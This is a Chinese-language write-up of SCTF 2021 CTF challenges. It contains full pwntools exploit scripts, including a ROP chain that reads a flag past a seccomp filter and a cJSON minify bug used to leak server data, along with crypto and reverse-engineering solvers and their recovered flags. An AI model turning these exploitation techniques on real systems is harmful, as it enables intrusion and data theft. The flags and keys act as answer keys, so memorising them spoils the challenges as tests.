SCTF 2021
PWN
roop
只允许 ORW:
$ seccomp-tools dump ./roop line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005 0002: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0006 0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006 0004: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0x4AF102
处有 “flag” 字符串.read_sys()
函数中有点猫腻, rbp 那个位置要放个可写的地址, 而且后面还有个 pop, 后面利用这里面的 syscall 时要注意填充..text:000000000040182A push rbp .text:000000000040182B mov rbp, rsp .text:000000000040182E ; 2: return (unsigned int)sys_read(0, a1, 0x1F4uLL); .text:000000000040182E mov [rbp+buf], rdi .text:0000000000401832 mov [rbp+var_4], 0C359h .text:0000000000401839 mov eax, 0 .text:000000000040183E mov edi, 0 ; fd .text:0000000000401843 mov rsi, [rbp+buf] ; buf .text:0000000000401847 mov edx, 1F4h ; count .text:000000000040184C syscall ; LINUX - sys_read .text:000000000040184E mov [rbp+var_4], eax .text:0000000000401851 mov eax, [rbp+var_4] .text:0000000000401854 pop rbp .text:0000000000401855 retn .text:0000000000401855 ; } // starts at 40182A .text:0000000000401855 read_sys endp
EXP
from pwn import * context.log_level = "debug" context.terminal = ['tmux', 'sp', '-h'] p = remote("123.60.140.20", 2111) # p = process("./roop") pop_rdi_ret = 0x0000000000401d9e pop_rsi_ret = 0x00000000004086de pop_rax_ret = 0x000000000043fed7 pop_rdx_rbx_ret = 0x000000000046d86b flag_s = 0x4AF102 bss = 0x4B1500 bss2 = 0x4B2B79 main = 0x401868 # 用 read_sys() 中的 syscall syscall_ret = 0x40184C # open 开出来的 fd 应该是 3 fd = 3 payload = 'a'*0x20 + p64(bss2) + \ # open("flag", 0) p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(flag_s) + p64(pop_rsi_ret) + p64(0) + p64(syscall_ret) + \ # 填充 read(fd, bss, 0x30) p64(bss2) + p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(fd) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_rbx_ret) + p64(0x30) + p64(0) + p64(syscall_ret) + \ # 填充 write(1, bss, 0x30) p64(bss2) + p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_rbx_ret) + p64(0x30) + p64(0) + p64(syscall_ret) + \ p64(bss2) + p64(main) # gdb.attach(p) p.send(payload) p.interactive()
dataleak
cJSON_Minify
遇到 “/*” 的时候下标最后会 +2, 利用这个漏洞吃掉 3 个字符串之间的 ‘\x00’; 而且会自动吃掉空格。左挪挪右挪挪把那个 “this_is_data_in_server” 挪出来就行了.else if ( *v11 == '/' && v11[1] == '*' ) { while ( *v11 && (*v11 != '*' || v11[1] != '/') ) ++v11; v11 += 2; }
- EXP
from pwn import * # context.log_level = "debug" context.terminal = ['tmux', 'sp', '-h'] # p = process("./cJSON_PWN") p = remote("124.70.202.226", 2101) payload = 'a'*0xc + '/' + '*' p.send(payload) payload = 'bbbb' + ' '*(0xc-4) + '/' + '*' p.send(payload) a = p.recv() payload = 'a'*5 + ' '*(0xc-5) + '/' + '*' p.send(payload) payload = ' '*0xc + '/' + '*' # gdb.attach(p, gdbscript = "b *$rebase(0x120D)") p.send(payload) b = p.recv() print(a+b) # print("a = " + a + ", b = " + b) p.interactive()
CRY
Lattice_RSA
- CopperSmith(https://eprint.iacr.org/2014/549.pdf)
- EXP
# sage e1 = 9545097209030256775216443121829852487787380086315441423236592000839309846039550602130662744273474762892095845712248185351595030092141485752003885019152268353509264865332005730567800065218726010684572302315291967868766793202912693755784425680016425189250482664755863124379283931403254016082077557111339647889 n1 = 98939456380792523662775017487084146158199369919759470465575759577838238544400854203012884028529070427777189722848860164139618018368139287530561049590738727981094118610846357860548707651233653701270301175858159871826699942130125407653338205286434016804567227501137095308022126944522749231530058497881261185653 c1 = 55315487674581208936176703509670353978231044582491114364061992981458986632841065786061160594922107804965351583127534031661829212870815873676036345109665820229082797340089348236551436209969988935306699393106743928957238959317622905185712338429185098479804550934511329466829098245607393481855153276533732689734 e2 = 59243789427417951194489862269417430952328673559766515223885035376877819796576206793435054362857070966888235333647478778158384173868938982383588960913340186622525635645816049372928121634881790492382629069066078703248800839522472210920458130523691729892148102876735855766860455039600156378352749345062721937209 n2 = 104347855605891592910114852579961565604626906391213265775887363677904796055413085190935828673206199415533269569031451361031799754867385268572970064379073503906665805386452010801102766017395658092557842603350337718372544153615967374268293977782528578048412981645150044439520557593275256807763497840657428919077 c2 = 102398006499486137660980667185708024925165256830809071209188976998384002930353742529713002440025603110530041319123321468674756588207972254892299747598693922335456071362447796282021604830025395235248733257046909682564607142251130963235661693343045300675990709137212806865651950929080932525655855441795236830180 e3 = 85747500093914623676814521570837906391267663984326957989170968314694976569281309877349688441394449235970180279634338128332963787895719937398561401234322387037150946707257948321793874036110351063581214140307404280596740059504052727210571816961399578900374385250625544371549762415419859711307774733248827036469 n3 = 125025456359945372693024749116364347012056768353381741583283104144583480532982415270618444535675894570724052935399666141513628840873824003925313455238817485549860905264933541873086612753584660074870129509952045033828170291542113197517274230326183877232286120958576866764084704325778588083293425203999205810141 c3 = 72100429874928070585214359886622577441750665411714854015876430886408828429194918865497582935712040510387059400943960378641326114021899111137577322059200344646501253200629230286816720829672198420182128299025122114808347594611972141414087683155991740640913366675113748261101786118999803968607329180926248155617 Ns = [n1, n2, n3] es = [e1, e2, e3] cs = [c1, c2, c3] N = max(Ns) k = 3 delta = 0.375 epsilon = sqrt(5) * N^(delta-1/2) n = k C = int(3^(n+1) * 2 ^ ((n+1)*(n-4)/4) * epsilon^(-n-1)) M = Matrix(ZZ, [[1, -int(C * es[0] / (Ns[0] + 1)), -int(C * es[1] / (Ns[1] + 1)), -int(C * es[2] / (Ns[2] + 1))], [0, C, 0, 0], [0, 0, C, 0], [0, 0, 0, C]]) K = M.LLL() need_x = K * M.inverse() x, y1, y2, y3 = -need_x[0] ys = [y1, y2, y3] Ss = [abs(int(Ns[i] + 1 - es[i] * x / ys[i])) for i in range(3)] Ds = [int(sqrt(Ss[i]^2 - 4 * Ns[i])) for i in range(3)] pas = [int((Ss[i] + Ds[i])/2) for i in range(3)] ps = [] for i in range(3): PR.<x> = PolynomialRing(Zmod(Ns[i])) f = x + pas[i] f = f.monic() p_solve = f.small_roots(X = 2 ** 160, beta=0.42) ps.append(int(p_solve[0] + pas[i])) p1 = ps[0] q1 = n1//p1 assert p1*q1==n1 from Crypto.Util.number import GCD, long_to_bytes from gmpy2 import powmod, invert phi1 = (p1-1)*(q1-1) d1 = invert(e1, phi1) r = powmod(c1, d1, n1) assert len(r)==512 C = 314138995705134963765949674209997674579520613296385936644494323356626474616449345832002116061032387789940232889811877417810577261174504328571142196672295961635382151605788845659832250695248133655805670920526231489642291822105961881028933410090118643915808621533888227382756678986914466713549255082875872573630738336022955681786779227894866903014980470029300129311175129426104388783114413927510414404318697951064311913497410213165287013303821435193696139330480491 pqr = 911619948379135753280277158472338758620401367671839695302515524798781840672067948187113857703065845795822924511361587073726701234792252232996432637222385990530844261677850096042369704113324684160539535870348348879313722193048824463097747849639034518789021825189407467150941299095291906449325771599816822640144434277887115737049026356758054116641646403968823314685604673290554098181881098527931284097939456611464715559804244238286600413220755256136717571673115011 pq = pqr//r assert pq*r==pqr # print(pq) # pq = 125344179764788452935958110666600751722211963386020321971128464236999765401250458368340341394237141874926209998421276275176144081702712536364906046934659970775376635578551307310851053853612888660035922692903835246762915463074024563925867028110418848125938836672083837320222436259178292257202682401312848752623 # factor pq by yafu q = 11195721493713053816872473040574427113590459426801501041936696952855046206603519936162050813309235275210747351857314783073431341913954290041930449553437457 p = 11195721493713053816872473040574427113590459426801501041936696952855046206603519936162050813309235275210747351857314783073431341913954290041930449553437439 assert pqr==p*q*r phi = (p-1)*(q-1)*(r-1) d = invert(p*q*q*r*r*r, phi) flag = powmod(C,d,p*q*r) print(long_to_bytes(flag))
ciruit map
- 姚氏电路, 原题, 题解.
- 用中间相遇找出 gate 5 和 6 中满足以下条件的所有密钥对$(k_1,k_2)$: 可以令 G_Table 中相应的 $E_{k_1}(E_{k_2}(0))$ 经过两次反向的 decode 得到 0. 而且由于 5 和 6 都是与门, 所以它们的真值表中有 3 个输出为假, 1 个为真. 在这些密钥对中筛选满足令 gate 5 的输出中有 3 个相同, 一个不同的, 即可得到它们的两个输入所对应的密钥值: $k_1^0,k_1^1,k_2^0,k_2^1$. 稍微修改一下 Joseph 博客中的代码即可:
from block_cipher import encrypt_data, decrypt_data, decrypt from public_data import G_Table as g_tables from collections import defaultdict from tqdm import tqdm import json print('[!] generating lookup table...') ENCRYPTIONS_OF_ZERO = defaultdict(list) for key in tqdm(range(2**24)): ct = encrypt_data(0, key) ENCRYPTIONS_OF_ZERO[ct].append(key) # with open('ENCRYPTIONS_OF_ZERO.json', 'r') as f: # ENCRYPTIONS_OF_ZERO = json.load(f) # f.close() def meet_in_the_middle(ct): print('[!] performing meet-in-the-middle attack for', ct) possible = defaultdict(list) for key in tqdm(range(2**24)): dec = decrypt_data(ct, key) if dec in ENCRYPTIONS_OF_ZERO: possible[key] = ENCRYPTIONS_OF_ZERO[dec] return possible def recover_keys(Z, C): print('[!] recovering keys...') z1, z2, z3, z4 = Z c1, c2, c3, c4 = C for b0 in tqdm(z1): for a0 in z1[b0]: p1 = decrypt(c1, a0, b0) for c,z in zip([c2, c3, c4], [z2, z3, z4]): for a1 in z[b0]: if p1 == decrypt(c, a1, b0): b1 = recover_keys_part2(Z, C, a0, b0) if b1: print(f'a1 = {a1}, b1 = {b1}') print(f'a0 = {a0}, b0 = {b0}') return True return False def recover_keys_part2(Z, C, a0, b0): z1, z2, z3, z4 = Z c1, c2, c3, c4 = C for c,z in zip([c2,c3,c4], [z2,z3,z4]): for b1 in z: if a0 in z[b1] and decrypt(c, a0, b1) == decrypt(c1, a0, b0): return b1 return False for i in [5, 6]: Z = [meet_in_the_middle(g_tables[i][j][1]) for j in range(4)] C = [g[0] for g in g_tables[i]] for i in range(4): recover_keys([Z[i]] + Z[:i] + Z[i+1:], [C[i]] + C[:i] + C[i+1:])
- 用上面的脚本求出 gate 1,2,3,4 的密钥值, 然后就可以进一步推 gate 5,6,7,8 的密钥值, over.
from block_cipher import encrypt_data, decrypt_data, decrypt from public_data import G_Table import hashlib from Crypto.Util.number import * def validate_the_circuit(geta_table, key0, key1): for g in geta_table: gl, v = g label = decrypt(gl, key0, key1) validation = decrypt(v, key0, key1) if validation == 0: return label k = [[0 for col in range(2)] for row in range(10)] """ key 1, 2 a1 = 13675268, b1 = 12870274 a0 = 8343801, b0 = 10251687 """ k[1][1] = 13675268 k[1][0] = 8343801 k[2][1] = 12870274 k[2][0] = 10251687 # geta_table = G_Table[5] # msg = validate_the_circuit(geta_table, k[1][0], k[2][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[1][1], k[2][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[1][0], k[2][1]) # print(msg) # msg = validate_the_circuit(geta_table, k[1][1], k[2][1]) # print(msg) k[5][0] = 15707475 k[5][1] = 4567418 ''' key 3, 4 a1 = 12490757, b1 = 3391233 a0 = 6827786, b0 = 2096572 ''' k[3][0] = 6827786 k[3][1] = 12490757 k[4][0] = 2096572 k[4][1] = 3391233 # geta_table = G_Table[6] # msg = validate_the_circuit(geta_table, k[3][0], k[4][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[3][1], k[4][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[3][0], k[4][1]) # print(msg) # msg = validate_the_circuit(geta_table, k[3][1], k[4][1]) # print(msg) k[6][0] = 14095476 k[6][1] = 3648155 # geta_table = G_Table[7] # msg = validate_the_circuit(geta_table, k[5][0], k[6][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[5][1], k[6][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[5][0], k[6][1]) # print(msg) # msg = validate_the_circuit(geta_table, k[5][1], k[6][1]) # print(msg) k[7][0] = 14409690 k[7][1] = 8680011 # geta_table = G_Table[9] # msg = validate_the_circuit(geta_table, k[4][0], k[7][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[4][1], k[7][0]) # print(msg) # msg = validate_the_circuit(geta_table, k[4][0], k[7][1]) # print(msg) # msg = validate_the_circuit(geta_table, k[4][1], k[7][1]) # print(msg) k[8][0] = 9376523 k[8][1] = 2504390 def xor(A, B): return bytes(a ^ b for a, b in zip(A, B)) the_chaos=b'' reflag = 0x1661fe85c7b01b3db1d432ad3c5ac83a for i in range(1, 9): tmp = sum(k[i]) the_chaos += bytes(long_to_bytes(tmp)) mask = hashlib.md5(the_chaos).digest() print(long_to_bytes(bytes_to_long(mask)^reflag))
MISC
The_is_A_tree
- 用 os.walk 先序遍历文件树即可, 后面还有一个伏羲 64 卦
- EXP
# -*- coding: UTF-8 -*- import os import base64 # s = '' # for root,dirs,files in os.walk("./"): # for fname in files: # # print(root, fname) # f = open(root + '\\' + fname, 'r') # for lines in f.readline(): # s += lines # f.close() # print(s) s = 'Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA==' # base64 # Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫 # py3 # 参考文献: https://blog.csdn.net/weixin_44110537/article/details/107494966 s = '师兑复损巽震晋姤大过讼噬嗑震恒节豫' dic={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'} li=[] k=0 for i in range(len(s)): if k ==1: k=0 continue try: li.append(dic[s[i]]) except: t='' t=t+s[i]+s[i+1] li.append(dic[t]) k=1 ss=''.join(li) print(ss) enc='' for i in range(0,len(ss),8): enc+=chr(eval('0b'+ss[i:i+8])) print(enc)
RE
easyre
3 个加密算法和它们相应的逆推算法如下:
char BASE16_ENC_TAB[] = "0123456789ABCDEF"; int reBASE16_ENC_TAB(char in){ if(in>='0' && in<='9') return in-'0'; return in-'A'+10; } // len = 16 void F1(char *in_s, int len, char *out_s){ for(int i=0;i<len;i++){ char v1 = (in_s[i] >> 4) & 0xf; char v2 = in_s[i] & 0xf; out_s[2 * i] = BASE16_ENC_TAB[v1]; out_s[2 * i + 1] = BASE16_ENC_TAB[v2]; } } // len = 32 void reF1(char *in_s, int len, char *out_s){ for(int i=0;i<len;i+=2) out_s[i/2] = (reBASE16_ENC_TAB(in_s[i])<<4)+reBASE16_ENC_TAB(in_s[i+1]); } int find_first_of(char in){ char v6[] = "0123456789ABCDEF"; for(int i=0;i<16;i++){ if(in == v6[i]) return i; } } void F2(char *in_s, unsigned int *out_n){ // in_s 长度为 32, out_n 长度为 4 for(int i=0;i<32;i+=8){ for(int j=0;j<8;j++){ int v2 = find_first_of(in_s[i+j]); out_n[i / 8] |= v2 << (4 * (7 - j)); } } } void reF2(unsigned int *in_n, char *out_s){ char v6[] = "0123456789ABCDEF"; for(int i=0;i<4;i++){ for(int j=0;j<8;j++){ out_s[i*8+j] = v6[(in_n[i] >> (4 * (7 - j))) & 0xf]; } } } void F3(uint32_t *v, int n){ uint32_t const key[4] = {83, 67, 84, 70}; uint32_t y, z, sum; unsigned p, rounds, e; uint32_t DELTA = 1061774306; rounds = 31 / n + 8; sum = 0; z = v[n - 1]; do { sum += DELTA; e = (sum >> 2) & 3; for ( p = 0; n - 1 > p; ++p ) { y = v[p + 1]; z = v[p] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); } y = v[0]; z = v[n-1] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); --rounds; } while ( rounds ); } void reF3(uint32_t *v, int n){ uint32_t const key[4] = {83, 67, 84, 70}; uint32_t y, z, sum; unsigned p, rounds, e; uint32_t DELTA = 1061774306; rounds = 31 / n + 8; sum = rounds*DELTA; y = v[0]; do { e = (sum >> 2) & 3; for ( p = n-1; p>0; --p ) { z = v[p-1]; y = v[p] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); } z = v[n-1]; y = v[0] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); sum -= DELTA; --rounds; } while ( rounds ); }
有一个陷阱就是 XXTEA 第一次执行之前, delta 的值被修改了:
__int64 vary(void) { struct _STARTUPINFOA StartupInfo; // [rsp+20h] [rbp-70h] BYREF GetStartupInfoA(&StartupInfo); StartupInfo.cb = 68; if ( StartupInfo.dwX || StartupInfo.dwY || StartupInfo.dwXCountChars || StartupInfo.dwYCountChars || StartupInfo.dwXSize || StartupInfo.dwYSize ) { DELTA = 1061774306; } return 0i64; }
在最后还有一段 C++:
std::ostringstream::basic_ostringstream(v11, 16i64); std::allocator<char>::allocator(&v13); std::string::string(v12, &unk_491000, &v13); std::allocator<char>::~allocator(&v13); std::allocator<char>::allocator(&v14); std::string::string(v7, "657402099", &v14); std::allocator<char>::~allocator(&v14); std::allocator<char>::allocator(&v15); std::string::string(&v8, "6574020991321455863", &v15); std::allocator<char>::~allocator(&v15); std::allocator<char>::allocator(&v16); std::string::string(&v9, "65740209913214558633720287476", &v16); std::allocator<char>::~allocator(&v16); std::allocator<char>::allocator(&v17); std::string::string(&v10, "657402099132145586337202874761402167217", &v17); std::allocator<char>::~allocator(&v17); v22 = 0; for ( j = 0; j <= 3; ++j ) { a1[j] ^= a1[(j + 1) % 4]; std::ostream::operator<<(v11, a1[j]); std::ostringstream::str((std::string *)v18, v7[0], v8); std::string::operator=(v12, v18); std::string::~string((std::string *)v18); if ( (unsigned int)std::string::compare((std::string *)v12, (const std::string *)&v7[2 * j]) ) break; v22 = 1; }
大概意思应该是这样:
ostringstream v11; string v7[4]; v7[0] = "657402099"; v7[1] = "6574020991321455863"; v7[2] = "65740209913214558633720287476"; v7[3] = "657402099132145586337202874761402167217"; ostringstream v11; for (int i = 0; i <= 3; ++i ) { v[i] ^= v[(i + 1) % 4]; v11 << v[i]; string v12 = v11.str(); if(v12.compare(v7[i])){ puts("no"); } } puts("yes");
求解一下 XXTEA 出来的 4 个数
/* v[0] ^= v[1]; 657402099 0,1 v[1] ^= v[2]; 1321455863 1,2 v[2] ^= v[3]; 3720287476 2,3 v[3] ^= v[0]; 1402167217 3,0,1 v[3] = v[3]^v[0]; v[2] = v[2]^v[3]; v[1] = v[1]^v[2]; v[0] = v[0]^v[1]; */ uint32_t v[4] = {657402099,1321455863,3720287476,1402167217}; v[3] = v[3]^v[0]; v[2] = v[2]^v[3]; v[1] = v[1]^v[2]; v[0] = v[0]^v[1];
EXP
#include <bits/stdc++.h> using namespace std; char BASE16_ENC_TAB[] = "0123456789ABCDEF"; int reBASE16_ENC_TAB(char in){ if(in>='0' && in<='9') return in-'0'; return in-'A'+10; } // len = 16 void F1(char *in_s, int len, char *out_s){ for(int i=0;i<len;i++){ char v1 = (in_s[i] >> 4) & 0xf; char v2 = in_s[i] & 0xf; out_s[2 * i] = BASE16_ENC_TAB[v1]; out_s[2 * i + 1] = BASE16_ENC_TAB[v2]; } } // len = 32 void reF1(char *in_s, int len, char *out_s){ for(int i=0;i<len;i+=2) out_s[i/2] = (reBASE16_ENC_TAB(in_s[i])<<4)+reBASE16_ENC_TAB(in_s[i+1]); } bool check1(){ char in[50] = "0123456789abcdef"; char out1[50]; memset(out1,0,sizeof(out1)); F1(in, 16, out1); char out2[50]; memset(out2,0,sizeof(out2)); reF1(out1, 32, out2); printf("%s\n", out2); } int find_first_of(char in){ char v6[] = "0123456789ABCDEF"; for(int i=0;i<16;i++){ if(in == v6[i]) return i; } } void F2(char *in_s, unsigned int *out_n){ // in_s 长度为 32, out_n 长度为 4 for(int i=0;i<32;i+=8){ for(int j=0;j<8;j++){ int v2 = find_first_of(in_s[i+j]); out_n[i / 8] |= v2 << (4 * (7 - j)); } } } void reF2(unsigned int *in_n, char *out_s){ char v6[] = "0123456789ABCDEF"; for(int i=0;i<4;i++){ for(int j=0;j<8;j++){ out_s[i*8+j] = v6[(in_n[i] >> (4 * (7 - j))) & 0xf]; } } } bool check2(){ puts("check2"); char in[50] = "CAEA1116A622787C23D1E7AFFA163F5E"; unsigned int out1[50]; memset(out1,0,sizeof(out1)); F2(in, out1); char out2[50]; memset(out2,0,sizeof(out2)); reF2(out1, out2); printf("%s\n", out2); } void F3(uint32_t *v, int n){ uint32_t const key[4] = {83, 67, 84, 70}; uint32_t y, z, sum; unsigned p, rounds, e; uint32_t DELTA = 1061774306; rounds = 31 / n + 8; sum = 0; z = v[n - 1]; do { sum += DELTA; e = (sum >> 2) & 3; for ( p = 0; n - 1 > p; ++p ) { y = v[p + 1]; z = v[p] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); } y = v[0]; z = v[n-1] += (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); --rounds; } while ( rounds ); } void reF3(uint32_t *v, int n){ uint32_t const key[4] = {83, 67, 84, 70}; uint32_t y, z, sum; unsigned p, rounds, e; uint32_t DELTA = 1061774306; rounds = 31 / n + 8; sum = rounds*DELTA; y = v[0]; do { e = (sum >> 2) & 3; for ( p = n-1; p>0; --p ) { z = v[p-1]; y = v[p] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); } z = v[n-1]; y = v[0] -= (((y << 7) ^ (z >> 5)) + ((y >> 3) ^ (16 * z))) ^ ((y ^ sum) + (z ^ key[e ^ p & 3])); sum -= DELTA; --rounds; } while ( rounds ); } void check3(){ puts("check3"); uint32_t v[4] = {123,34,56,123}; F3(v, 4); reF3(v,4); for(int i=0;i<4;i++) printf("%d\n", v[i]); } int main(){ char out1[50]; char out2[50]; memset(out1,0,sizeof(out1)); memset(out2,0,sizeof(out2)); /* v[0] ^= v[1]; 657402099 0,1 v[1] ^= v[2]; 1321455863 1,2 v[2] ^= v[3]; 3720287476 2,3 v[3] ^= v[0]; 1402167217 3,0,1 v[3] = v[3]^v[0]; v[2] = v[2]^v[3]; v[1] = v[1]^v[2]; v[0] = v[0]^v[1]; */ uint32_t v[4] = {657402099,1321455863,3720287476,1402167217}; v[3] = v[3]^v[0]; v[2] = v[2]^v[3]; v[1] = v[1]^v[2]; v[0] = v[0]^v[1]; for(int i=0;i<4;i++){ printf("%u\n", v[i]); } reF3(v, 4); reF2(v, out1); reF1(out1, 32, out2); // Y0u_@r3_S0_G0od! printf("%s\n", out2); return 0; }
文件
链接:https://pan.baidu.com/s/1REyjdM7WjojMW3sSwdzLAw
提取码:pyzq